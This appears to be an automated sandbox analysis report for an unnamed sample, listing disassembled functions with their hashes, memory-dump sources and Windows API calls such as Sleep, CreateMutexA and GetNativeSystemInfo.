API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e914c74b05579ec70d34ba2b6fce4fbcfea45860b1c0f6e77c510b65dd82268d
Instruction ID: 2f33c9f9e20b84599b773f31355c0b3a238adc59867b4db18bc2954fced382d4
Opcode Fuzzy Hash: e914c74b05579ec70d34ba2b6fce4fbcfea45860b1c0f6e77c510b65dd82268d
Instruction Fuzzy Hash: 7C314831605184EBEB18DBBDDD89B6DB7B2EFCA310F248618E014DB3D2D77D69808652

Function 007E9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007EA963
CreateMutexA.KERNEL32(00000000,00000000,00843254), ref: 007EA981

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 59c88ab9e9f6bb15218713d1ff8c23d5b7789b12c5eceb94f4326d73b4d659ba
Instruction ID: 56595060ec567b9204b3e041a0e568ef11448d68962a1e48af74594e3190336f
Opcode Fuzzy Hash: 59c88ab9e9f6bb15218713d1ff8c23d5b7789b12c5eceb94f4326d73b4d659ba
Instruction Fuzzy Hash: 08214932605280EBFB189BADEC8976DF762EFC5310F20421DE554C73D6EBBD69818612

Function 007EA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007EA963
CreateMutexA.KERNEL32(00000000,00000000,00843254), ref: 007EA981

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ad2cd9e8f9825111861c8f3573cf19bec54327c59de593add711e1932313fe4f
Instruction ID: 44d863147fb35e19a28a0b38ec11104b343ff5c845d45f812dc59ffb1b12669c
Opcode Fuzzy Hash: ad2cd9e8f9825111861c8f3573cf19bec54327c59de593add711e1932313fe4f
Instruction Fuzzy Hash: 41212D3134A284F7FB29A76E9C8A73DB751DFD9300F244816E144D63D2DABD79418193

Function 007EA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007EA963
CreateMutexA.KERNEL32(00000000,00000000,00843254), ref: 007EA981

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 729e736c3978fc848af105a79a1f72c214460e7d967c2c54517fc20e1b83d466
Instruction ID: aa51750f621ae36394142d1beba4c8195b02ef38f86dd498e791b2476f5c8a0b
Opcode Fuzzy Hash: 729e736c3978fc848af105a79a1f72c214460e7d967c2c54517fc20e1b83d466
Instruction Fuzzy Hash: 74216A32605240EBEB189B6DDC8576CF772EBD5311F204219E404DB7D5D7BD79808252

Function 007E7D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 007E7ED3

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: ce159da4b4fd039d81a898dc53b3fff9eb6ec08d0640da3e8e46fb26ac863bd2
Instruction ID: 9301f13a39d8b14c2f3c68cd5684c01d5c25c4a4935661ac4060cb2526885af2
Opcode Fuzzy Hash: ce159da4b4fd039d81a898dc53b3fff9eb6ec08d0640da3e8e46fb26ac863bd2
Instruction Fuzzy Hash: E4E10770E05288DBDB18BB298D4B7AD7A71BB4A714F944288E415A73C2DB394E9187C2

Function 0081D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0081A813,00000001,00000364,00000006,000000FF,?,0081EE3F,?,00000004,00000000,?,?), ref: 0081D871

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4480d2acbd26314c022be19d024afd0619bf741f61fdcd8713dd75af061af74e
Instruction ID: 679e9b5331c5bd97f168f6a6288653a89d3529b25567d6d400a0083bc6556a1c
Opcode Fuzzy Hash: 4480d2acbd26314c022be19d024afd0619bf741f61fdcd8713dd75af061af74e
Instruction Fuzzy Hash: DBF0543160532566DB217B769C01BDB775DFF46770B158935AD14DB181EA20D88085E1

Function 007E87B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,007EDA1D,?,?,?,?), ref: 007E87B9

Memory Dump Source

